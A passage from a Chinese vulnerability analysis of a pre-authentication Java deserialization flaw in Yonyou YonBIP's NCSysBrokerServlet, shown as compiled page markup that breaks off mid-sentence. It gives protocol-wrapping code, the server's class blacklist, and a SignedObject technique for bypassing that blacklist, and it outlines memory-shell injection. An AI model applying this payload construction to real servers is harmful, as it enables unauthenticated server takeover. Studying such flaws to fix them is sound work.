Filter",id:"103-\u52a8\u6001\u5b9a\u4e49\u5e76\u6ce8\u518c-filter",level:3},{value:"10.4 \u51b0\u874e\u5185\u5b58\u9a6c\u8bf7\u6c42\u5904\u7406\u6d41\u7a0b",id:"104-\u51b0\u874e\u5185\u5b58\u9a6c\u8bf7\u6c42\u5904\u7406\u6d41\u7a0b",level:3},{value:"\u5341\u4e00\u3001\u5b8c\u6574 Payload \u6784\u9020\u6d41\u7a0b\uff08\u6b65\u9aa4\u7ea7\uff09",id:"\u5341\u4e00\u5b8c\u6574-payload-\u6784\u9020\u6d41\u7a0b\u6b65\u9aa4\u7ea7",level:2},{value:"\u5341\u4e8c\u3001HTTP \u8bf7\u6c42\u683c\u5f0f",id:"\u5341\u4e8chttp-\u8bf7\u6c42\u683c\u5f0f",level:2},{value:"\u5341\u4e09\u3001\u5173\u952e\u9677\u9631\u603b\u7ed3",id:"\u5341\u4e09\u5173\u952e\u9677\u9631\u603b\u7ed3",level:2},{value:"\u5341\u56db\u3001\u4fee\u590d\u5efa\u8bae",id:"\u5341\u56db\u4fee\u590d\u5efa\u8bae",level:2},{value:"14.1 \u4e34\u65f6\u7f13\u89e3",id:"141-\u4e34\u65f6\u7f13\u89e3",level:3},{value:"14.2 \u6839\u672c\u4fee\u590d",id:"142-\u6839\u672c\u4fee\u590d",level:3},{value:"\u5341\u4e94\u3001PoC \u5f00\u53d1\u5168\u8fc7\u7a0b\u8e29\u5751\u8bb0\u5f55",id:"\u5341\u4e94poc-\u5f00\u53d1\u5168\u8fc7\u7a0b\u8e29\u5751\u8bb0\u5f55",level:2},{value:"\u95ee\u9898\u4e00\uff1aStringIndexOutOfBoundsException at extractClassName",id:"\u95ee\u9898\u4e00stringindexoutofboundsexception-at-extractclassname",level:3},{value:"\u95ee\u9898\u4e8c\uff1aBase64 incorrect ending byte at 17108",id:"\u95ee\u9898\u4e8cbase64-incorrect-ending-byte-at-17108",level:3},{value:"\u95ee\u9898\u4e09\uff1ajavac \u7f16\u8bd1\u65f6\u4e2d\u6587\u6ce8\u91ca\u62a5\u9519",id:"\u95ee\u9898\u4e09javac-\u7f16\u8bd1\u65f6\u4e2d\u6587\u6ce8\u91ca\u62a5\u9519",level:3},{value:"\u95ee\u9898\u56db\uff1a--release \u53c2\u6570\u4e0d\u88ab\u652f\u6301",id:"\u95ee\u9898\u56db--release-\u53c2\u6570\u4e0d\u88ab\u652f\u6301",level:3},{value:"\u95ee\u9898\u4e94\uff1aVerifyError \u9759\u9ed8\u5931\u8d25\uff08Shell \u672a\u6267\u884c\uff0c\u65e0\u62a5\u9519\uff09",id:"\u95ee\u9898\u4e94verifyerror-\u9759\u9ed8\u5931\u8d25shell-\u672a\u6267\u884c\u65e0\u62a5\u9519",level:3},{value:"\u95ee\u9898\u516d\uff1aUnsupportedClassVersionError \u9759\u9ed8\u5931\u8d25",id:"\u95ee\u9898\u516dunsupportedclassversionerror-\u9759\u9ed8\u5931\u8d25",level:3},{value:"\u95ee\u9898\u4e03\uff1aInvalidClassException \u2014 SUID \u7248\u672c\u4e0d\u5339\u914d",id:"\u95ee\u9898\u4e03invalidclassexception--suid-\u7248\u672c\u4e0d\u5339\u914d",level:3},{value:"\u95ee\u9898\u516b\uff1aWRAPPER_B64 \u65b9\u6848\u7684\u5c40\u9650\u6027\u4e0e\u653e\u5f03",id:"\u95ee\u9898\u516bwrapper_b64-\u65b9\u6848\u7684\u5c40\u9650\u6027\u4e0e\u653e\u5f03",level:3},{value:"\u95ee\u9898\u4e5d\uff1aEdit \u5de5\u5177\u65e0\u6cd5\u66ff\u6362\u957f Base64 \u5b57\u7b26\u4e32",id:"\u95ee\u9898\u4e5dedit-\u5de5\u5177\u65e0\u6cd5\u66ff\u6362\u957f-base64-\u5b57\u7b26\u4e32",level:3},{value:"\u95ee\u9898\u5341\uff1a\u6587\u4ef6\u4e2d\u6587\u6ce8\u91ca\u4e71\u7801\uff08Mojibake\uff09",id:"\u95ee\u9898\u5341\u6587\u4ef6\u4e2d\u6587\u6ce8\u91ca\u4e71\u7801mojibake",level:3},{value:"\u95ee\u9898\u5341\u4e00\uff1aTemplatesImpl _name \u4e3a null \u5bfc\u81f4\u94fe\u8def\u4e2d\u65ad",id:"\u95ee\u9898\u5341\u4e00templatesimpl-_name-\u4e3a-null-\u5bfc\u81f4\u94fe\u8def\u4e2d\u65ad",level:3},{value:"\u8e29\u5751\u65f6\u95f4\u7ebf\u603b\u89c8",id:"\u8e29\u5751\u65f6\u95f4\u7ebf\u603b\u89c8",level:3},{value:"\u5341\u516d\u3001\u53c2\u8003\u8d44\u6599",id:"\u5341\u516d\u53c2\u8003\u8d44\u6599",level:2}];function o(e){const n={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",hr:"hr",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"\u7528\u53cb-yonbip-ncsysbrokerservlet-\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790",children:"\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2026-09-01 09:36:12"})]})})]}),"\n",(0,l.jsx)(n.h2,{id:"\u4e00\u6f0f\u6d1e\u6982\u8ff0",children:"\u4e00\u3001\u6f0f\u6d1e\u6982\u8ff0"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"\u5c5e\u6027"}),(0,l.jsx)(n.th,{children:"\u5185\u5bb9"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u4ea7\u54c1"}),(0,l.jsx)(n.td,{children:"\u7528\u53cb YonBIP\uff08NC Cloud / NChome\uff09"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u6f0f\u6d1e\u7ec4\u4ef6"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"NCSysBrokerServlet"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u6f0f\u6d1e\u8def\u5f84"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"POST /ServiceDispatcherServlet/NCSysBrokerServlet"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u6f0f\u6d1e\u7c7b\u578b"}),(0,l.jsx)(n.td,{children:"Java \u53cd\u5e8f\u5217\u5316\uff08Pre-Auth RCE\uff09"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u8ba4\u8bc1\u8981\u6c42"}),(0,l.jsx)(n.td,{children:"\u65e0\u9700\u4efb\u4f55\u8ba4\u8bc1\uff0c\u76f4\u63a5\u533f\u540d\u5229\u7528"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u670d\u52a1\u5668 Java \u7248\u672c"}),(0,l.jsx)(n.td,{children:"Java 8\uff08class major version = 52\uff09"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u670d\u52a1\u5668 Spring \u7248\u672c"}),(0,l.jsx)(n.td,{children:"Spring Framework 5.3.20"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u5371\u5bb3"}),(0,l.jsx)(n.td,{children:"\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3001\u6ce8\u5165\u5185\u5b58\u9a6c\u3001\u5b8c\u5168\u63a7\u5236\u670d\u52a1\u5668"})]})]})]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u4e8cnc-sds-\u534f\u8bae\u6df1\u5ea6\u5206\u6790",children:"\u4e8c\u3001NC SDS \u534f\u8bae\u6df1\u5ea6\u5206\u6790"}),"\n",(0,l.jsx)(n.h3,{id:"21-\u534f\u8bae\u683c\u5f0f",children:"2.1 \u534f\u8bae\u683c\u5f0f"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"NCSysBrokerServlet"})," \u4e0d\u63a5\u53d7\u666e\u901a HTTP \u8868\u5355\u6216 JSON\uff0c\u800c\u662f\u4f7f\u7528\u4e00\u5957**\u79c1\u6709\u4e8c\u8fdb\u5236\u534f\u8bae\uff08NC SDS / Service Dispatcher Servlet Protocol\uff09**\u4f5c\u4e3a HTTP Body\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"\u5b57\u8282\u504f\u79fb \u957f\u5ea6 \u5b57\u6bb5\u540d \u8bf4\u660e\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n 0 4 body_length \u6574\u4e2a\u6d88\u606f\u4f53\u7684\u5b57\u8282\u6570\uff08Big-Endian uint32\uff09\n 4 4 MAGIC \u56fa\u5b9a\u503c: 0x72 0x71 0x89 0x00\n 8 N oos_data Java ObjectOutputStream \u5e8f\u5217\u5316\u6d41\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"MAGIC \u5b57\u8282\u7684\u542b\u4e49"}),"\uff1a",(0,l.jsx)(n.code,{children:"72 71 89 00"})," \u662f NC SDS \u534f\u8bae\u7684\u6807\u8bc6\u7b26\uff0c\u670d\u52a1\u7aef\u7528\u4e8e\u6821\u9a8c\u8bf7\u6c42\u5408\u6cd5\u6027\u3002\u6ce8\u610f ",(0,l.jsx)(n.code,{children:"oos_data"})," \u672c\u8eab\u4ee5 Java \u5e8f\u5217\u5316\u6d41\u7684\u56fa\u5b9a\u5934 ",(0,l.jsx)(n.code,{children:"AC ED 00 05"})," \u5f00\u59cb\uff0c\u56e0\u6b64\u5b8c\u6574\u8bf7\u6c42\u4f53\u5f00\u5934\u4e3a\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"[BE-length 4B] [72 71 89 00] [AC ED 00 05 ...]\n"})}),"\n",(0,l.jsx)(n.h3,{id:"22-\u670d\u52a1\u7aef\u5904\u7406\u903b\u8f91\u4f2a\u4ee3\u7801\u8fd8\u539f",children:"2.2 \u670d\u52a1\u7aef\u5904\u7406\u903b\u8f91\uff08\u4f2a\u4ee3\u7801\u8fd8\u539f\uff09"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// NCSysBrokerServlet.doPost() \u6838\u5fc3\u903b\u8f91\uff08\u53cd\u7f16\u8bd1\u8fd8\u539f\uff09\npublic void doPost(HttpServletRequest req, HttpServletResponse resp) {\n InputStream is = req.getInputStream();\n\n // 1. \u8bfb\u53d6 4B \u957f\u5ea6\u5b57\u6bb5\n byte[] lenBuf = new byte[4];\n is.read(lenBuf);\n int bodyLen = ((lenBuf[0]&0xFF)<<24) | ((lenBuf[1]&0xFF)<<16)\n | ((lenBuf[2]&0xFF)<<8) | (lenBuf[3]&0xFF);\n\n // 2. \u8bfb\u53d6 4B MAGIC\uff0c\u7b80\u5355\u6821\u9a8c\n byte[] magic = new byte[4];\n is.read(magic);\n // \u6821\u9a8c magic == {0x72, 0x71, 0x89, 0x00}\n\n // 3. \u5269\u4f59\u5b57\u8282\u76f4\u63a5\u53cd\u5e8f\u5217\u5316 \u2190 \u6f0f\u6d1e\u70b9\n NCObjectInputStream ncois = new NCObjectInputStream(is);\n Object obj = ncois.readObject(); // \u672a\u6388\u6743\u89e6\u53d1\u70b9\n // ... \u540e\u7eed\u5206\u53d1\u903b\u8f91\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u6f0f\u6d1e\u6839\u56e0"}),"\uff1a\u7b2c 3 \u6b65\u5728\u6ca1\u6709\u4efb\u4f55\u8eab\u4efd\u9a8c\u8bc1\u3001\u4f1a\u8bdd\u6821\u9a8c\u3001token \u6821\u9a8c\u7684\u60c5\u51b5\u4e0b\uff0c\u76f4\u63a5\u5bf9\u5916\u90e8\u8f93\u5165\u6267\u884c ",(0,l.jsx)(n.code,{children:"readObject()"}),"\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"23-payload-\u5c01\u88c5\u683c\u5f0f\u5b57\u8282\u7ea7",children:"2.3 Payload \u5c01\u88c5\u683c\u5f0f\uff08\u5b57\u8282\u7ea7\uff09"}),"\n",(0,l.jsx)(n.p,{children:"\u4ee5\u4e00\u4e2a\u7ea6 21684 \u5b57\u8282\u7684 payload \u4e3a\u4f8b\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"\u504f\u79fb \u5b57\u8282\u503c\uff08hex\uff09 \u542b\u4e49\n00 54 11 xx xx body_length = 21717\uff08Big-Endian\uff09\uff0c\u5373\u540e\u7eed\u6240\u6709\u5b57\u8282\u6570\n04 72 71 89 00 NC SDS MAGIC\n08 AC ED 00 05 Java \u5e8f\u5217\u5316\u6d41\u5934\uff08STREAM_MAGIC + STREAM_VERSION\uff09\n0C ... \u5e8f\u5217\u5316\u7684 PriorityQueue \u5bf9\u8c61\u56fe\n...\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6784\u9020\u4ee3\u7801\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// NC SDS \u5c01\u5305\uff084B magic + 4B BE length + OOS\uff09\nstatic byte[] wrap(Object obj) throws Exception {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n // \u5148\u5199 MAGIC\n baos.write(new byte[]{0x72, 0x71, (byte)0x89, 0x00});\n // \u518d\u5199\u5e8f\u5217\u5316\u6570\u636e\n ObjectOutputStream oos = new ObjectOutputStream(baos);\n oos.writeObject(obj);\n oos.flush();\n byte[] body = baos.toByteArray();\n\n // \u6700\u7ec8\u683c\u5f0f\uff1a[4B length][body]\n ByteArrayOutputStream out = new ByteArrayOutputStream();\n int len = body.length;\n out.write(new byte[]{(byte)(len>>24),(byte)(len>>16),(byte)(len>>8),(byte)len});\n out.write(body);\n return out.toByteArray();\n}\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u4e09ncobjectinputstream-\u9ed1\u540d\u5355\u673a\u5236",children:"\u4e09\u3001NCObjectInputStream \u9ed1\u540d\u5355\u673a\u5236"}),"\n",(0,l.jsx)(n.h3,{id:"31-\u5b9e\u73b0\u539f\u7406",children:"3.1 \u5b9e\u73b0\u539f\u7406"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"NCObjectInputStream"})," \u7ee7\u627f\u81ea ",(0,l.jsx)(n.code,{children:"ObjectInputStream"}),"\uff0c\u901a\u8fc7",(0,l.jsxs)(n.strong,{children:["\u91cd\u5199 ",(0,l.jsx)(n.code,{children:"resolveClass()"})," \u65b9\u6cd5"]}),"\u5b9e\u73b0\u9ed1\u540d\u5355\u8fc7\u6ee4\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// NCObjectInputStream.resolveClass() \u53cd\u7f16\u8bd1\u8fd8\u539f\n@Override\nprotected Class resolveClass(ObjectStreamClass desc)\n throws IOException, ClassNotFoundException {\n String name = desc.getName();\n\n // \u9ed1\u540d\u5355\u524d\u7f00\u68c0\u67e5\uff08\u90e8\u5206\u5df2\u77e5\u6761\u76ee\uff09\n if (name.startsWith("org.apache.commons.collections")\n || name.startsWith("org.springframework.aop.framework.JdkDynamicAopProxy")\n || name.startsWith("com.sun.org.apache.xalan")\n || name.startsWith("org.apache.commons.beanutils")\n || /* ... \u5176\u4ed6\u9ed1\u540d\u5355 ... */ ) {\n throw new InvalidClassException("Blocked class: " + name);\n }\n\n return super.resolveClass(desc);\n}\n'})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5173\u952e"}),"\uff1a",(0,l.jsx)(n.code,{children:"resolveClass()"})," \u5728\u53cd\u5e8f\u5217\u5316",(0,l.jsx)(n.strong,{children:"\u8bfb\u53d6\u7c7b\u63cf\u8ff0\u7b26\u65f6"}),"\u5c31\u7acb\u5373\u89e6\u53d1\uff0c\u800c\u4e0d\u662f\u7b49\u5230\u5bf9\u8c61\u6784\u9020\u5b8c\u6210\u3002\u56e0\u6b64\u5e8f\u5217\u5316\u6d41\u4e2d\u53ea\u8981\u51fa\u73b0\u9ed1\u540d\u5355\u7c7b\u540d\uff0c\u5c31\u4f1a\u88ab\u7acb\u5373\u62e6\u622a\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"32-\u76f4\u63a5\u5bf9\u6297\u6548\u679c",children:"3.2 \u76f4\u63a5\u5bf9\u6297\u6548\u679c"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Payload \u7c7b\u578b"}),(0,l.jsx)(n.th,{children:"\u9ed1\u540d\u5355\u62e6\u622a\u70b9"}),(0,l.jsx)(n.th,{children:"\u7ed3\u679c"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"CC1/CC6\uff08CommonsCollections\uff09"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"org.apache.commons.collections"})}),(0,l.jsx)(n.td,{children:"\u76f4\u63a5\u62e6\u622a"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Spring1\uff08JdkDynamicAopProxy\uff09"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"JdkDynamicAopProxy"})}),(0,l.jsx)(n.td,{children:"\u76f4\u63a5\u62e6\u622a"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"TemplatesImpl \u76f4\u63a5\u94fe"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"com.sun.org.apache.xalan"})}),(0,l.jsx)(n.td,{children:"\u76f4\u63a5\u62e6\u622a"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"\u672c\u6f0f\u6d1e payload\uff08\u5916\u5c42\u94fe\uff09"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"\u65e0\u9ed1\u540d\u5355\u7c7b"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"\u901a\u8fc7"})})]})]})]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u56db\u9ed1\u540d\u5355\u7ed5\u8fc7signedobject-\u4e8c\u6b21\u53cd\u5e8f\u5217\u5316",children:"\u56db\u3001\u9ed1\u540d\u5355\u7ed5\u8fc7\uff1aSignedObject \u4e8c\u6b21\u53cd\u5e8f\u5217\u5316"}),"\n",(0,l.jsx)(n.h3,{id:"41-signedobject-\u7684\u7279\u6b8a\u6027",children:"4.1 SignedObject \u7684\u7279\u6b8a\u6027"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"java.security.SignedObject"})," \u662f JDK \u539f\u751f\u7c7b\uff0c\u8bbe\u8ba1\u7528\u4e8e\u5bf9\u53ef\u5e8f\u5217\u5316\u5bf9\u8c61\u8fdb\u884c\u6570\u5b57\u7b7e\u540d\u3002\u5176\u6784\u9020\u51fd\u6570\u5c06\u76ee\u6807\u5bf9\u8c61",(0,l.jsx)(n.strong,{children:"\u518d\u6b21\u5e8f\u5217\u5316"}),"\u540e\u5b58\u50a8\u4e3a\u5b57\u8282\u6570\u7ec4\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// JDK \u6e90\u7801\uff1aSignedObject \u6784\u9020\npublic SignedObject(Serializable object, PrivateKey signingKey,\n Signature signingEngine)\n throws IOException, InvalidKeyException, SignatureException {\n // \u5c06 object \u5e8f\u5217\u5316\u4e3a\u5b57\u8282\u6570\u7ec4\u5b58\u50a8\n ByteArrayOutputStream b = new ByteArrayOutputStream();\n ObjectOutputStream out = new ObjectOutputStream(b);\n out.writeObject(object);\n out.flush();\n out.close();\n this.content = b.toByteArray(); // \u5185\u5c42\u5e8f\u5217\u5316\u5b57\u8282\n // ... \u7b7e\u540d\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"getObject()"})," \u65b9\u6cd5\u53cd\u5411\u64cd\u4f5c\uff0c\u7528",(0,l.jsx)(n.strong,{children:"\u65b0\u5efa\u7684 ObjectInputStream"}),"\uff08\u65e0\u9ed1\u540d\u5355\uff09\u6765\u8fd8\u539f\u5bf9\u8c61\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// JDK \u6e90\u7801\uff1aSignedObject.getObject()\npublic Object getObject()\n throws IOException, ClassNotFoundException {\n // \u5173\u952e\uff1a\u8fd9\u91cc\u7528\u7684\u662f\u666e\u901a ObjectInputStream\uff0c\u4e0d\u662f NCObjectInputStream\n ByteArrayInputStream b = new ByteArrayInputStream(this.content);\n ObjectInputStream in = new ObjectInputStream(b); // \u2190 \u65e0\u9ed1\u540d\u5355\uff01\n Object obj = in.readObject();\n b.close();\n in.close();\n return obj;\n}\n"})}),"\n",(0,l.jsx)(n.h3,{id:"42-\u7ed5\u8fc7\u793a\u610f",children:"4.2 \u7ed5\u8fc7\u793a\u610f"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"\u5916\u5c42\u53cd\u5e8f\u5217\u5316\uff08NCObjectInputStream\uff0c\u6709\u9ed1\u540d\u5355\uff09\n\u2502\n\u2502 \u5916\u5c42\u5e8f\u5217\u5316\u6d41\u53ea\u5305\u542b\u8fd9\u4e9b\u7c7b\uff1a\n\u2502 - java.util.PriorityQueue \uff08JDK \u539f\u751f\uff0c\u4e0d\u5728\u9ed1\u540d\u5355\uff09\n\u2502 - java.security.SignedObject \uff08JDK \u539f\u751f\uff0c\u4e0d\u5728\u9ed1\u540d\u5355\uff09\n\u2502 - org.springframework.aop.aspectj.* \uff08Spring AOP \u7cfb\u5217\uff0c\u4e0d\u5728\u9ed1\u540d\u5355\uff09\n\u2502 - org.springframework.aop.framework.adapter.*\uff08\u4e0d\u5728\u9ed1\u540d\u5355\uff09\n\u2502\n\u2514\u2500 \u67d0\u6761\u8def\u5f84\u89e6\u53d1 SignedObject.getObject()\n \u2502\n \u2514\u2500 \u5185\u5c42\u53cd\u5e8f\u5217\u5316\uff08\u666e\u901a ObjectInputStream\uff0c\u65e0\u9ed1\u540d\u5355\uff09\n \u2502\n \u2502 \u5185\u5c42\u5e8f\u5217\u5316\u6d41\u53ef\u5305\u542b\u4efb\u610f\u9ed1\u540d\u5355\u7c7b\uff1a\n \u2502 - JdkDynamicAopProxy\n \u2502 - TemplatesImpl\n \u2502 - \u4efb\u610f gadget chain\n \u2502\n \u2514\u2500 \u5b8c\u6574\u5229\u7528\u94fe\u6267\u884c\n"})}),"\n",(0,l.jsx)(n.h3,{id:"43-signedobject-\u7b7e\u540d\u9a8c\u8bc1\u95ee\u9898",children:"4.3 SignedObject \u7b7e\u540d\u9a8c\u8bc1\u95ee\u9898"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"getObject()"})," \u5e76",(0,l.jsx)(n.strong,{children:"\u4e0d\u9a8c\u8bc1\u7b7e\u540d"}),"\uff08\u7b7e\u540d\u9a8c\u8bc1\u9700\u8981\u663e\u5f0f\u8c03\u7528 ",(0,l.jsx)(n.code,{children:"verify()"}),"\uff09\uff0c\u56e0\u6b64\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u53ef\u4ee5\u7528\u4efb\u610f RSA \u5bc6\u94a5\u5bf9\uff08\u8fd0\u884c\u65f6\u52a8\u6001\u751f\u6210\uff09\u6765\u6784\u9020 SignedObject"}),"\n",(0,l.jsxs)(n.li,{children:["\u63a5\u6536\u65b9\u7684 ",(0,l.jsx)(n.code,{children:"getObject()"})," \u4e0d\u7ba1\u7b7e\u540d\u662f\u5426\u6b63\u786e\u90fd\u4f1a\u6267\u884c\u53cd\u5e8f\u5217\u5316"]}),"\n",(0,l.jsx)(n.li,{children:"\u65e0\u9700\u77e5\u9053\u4efb\u4f55\u9884\u5171\u4eab\u5bc6\u94a5"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// PoC \u4e2d\u52a8\u6001\u751f\u6210\u5bc6\u94a5\u5bf9\uff0c\u7b7e\u540d\u4ec5\u4f5c\u4e3a\u683c\u5f0f\u5408\u89c4\uff0c\u4e0d\u5f71\u54cd getObject() \u89e6\u53d1\nKeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");\nkpg.initialize(2048);\nKeyPair kp = kpg.generateKeyPair();\nSignedObject so = new SignedObject(\n (Serializable) innerChain, // \u5185\u5c42\u5229\u7528\u94fe\n kp.getPrivate(),\n Signature.getInstance("SHA256withRSA")\n);\n// so.getObject() \u5728\u53cd\u5e8f\u5217\u5316\u65f6\u88ab\u89e6\u53d1\uff0c\u4e0d\u68c0\u67e5\u7b7e\u540d\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u4e94spring-aop-priorityqueue-\u94fe\u8be6\u89e3",children:"\u4e94\u3001Spring AOP PriorityQueue \u94fe\u8be6\u89e3"}),"\n",(0,l.jsxs)(n.p,{children:["\u6574\u6761\u94fe\u5206\u4e3a",(0,l.jsx)(n.strong,{children:"\u5916\u5c42\u94fe"}),"\u548c",(0,l.jsx)(n.strong,{children:"\u5185\u5c42\u94fe"}),"\uff0c\u7ed3\u6784\u76f8\u540c\uff0c\u89e6\u53d1\u76ee\u6807\u4e0d\u540c\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"51-priorityqueuereadobject--heapify",children:"5.1 PriorityQueue.readObject() \u2192 heapify()"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"java.util.PriorityQueue"})," \u7684\u53cd\u5e8f\u5217\u5316\u65b9\u6cd5\u4f1a\u91cd\u5efa\u5806\u7ed3\u6784\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// JDK \u6e90\u7801\uff1aPriorityQueue.readObject()\nprivate void readObject(java.io.ObjectInputStream s)\n throws java.io.IOException, ClassNotFoundException {\n s.defaultReadObject();\n // ...\n heapify(); // \u2190 \u89e6\u53d1\u70b9\n}\n\nprivate void heapify() {\n for (int i = (size >>> 1) - 1; i >= 0; i--)\n siftDown(i, (E) queue[i]);\n}\n\nprivate void siftDownUsingComparator(int k, E x) {\n // ...\n if (comparator.compare(x, (E) queue[child]) > 0) // \u2190 compare() \u88ab\u8c03\u7528\n // ...\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u6784\u9020\u8981\u70b9"}),"\uff1aPriorityQueue \u7684 ",(0,l.jsx)(n.code,{children:"comparator"})," \u5b57\u6bb5\u88ab\u8bbe\u7f6e\u4e3a ",(0,l.jsx)(n.code,{children:"JdkDynamicAopProxy"})," \u4ee3\u7406\u5bf9\u8c61\uff0cqueue \u4e2d\u81f3\u5c11\u6709 2 \u4e2a\u5143\u7d20\u4ee5\u89e6\u53d1 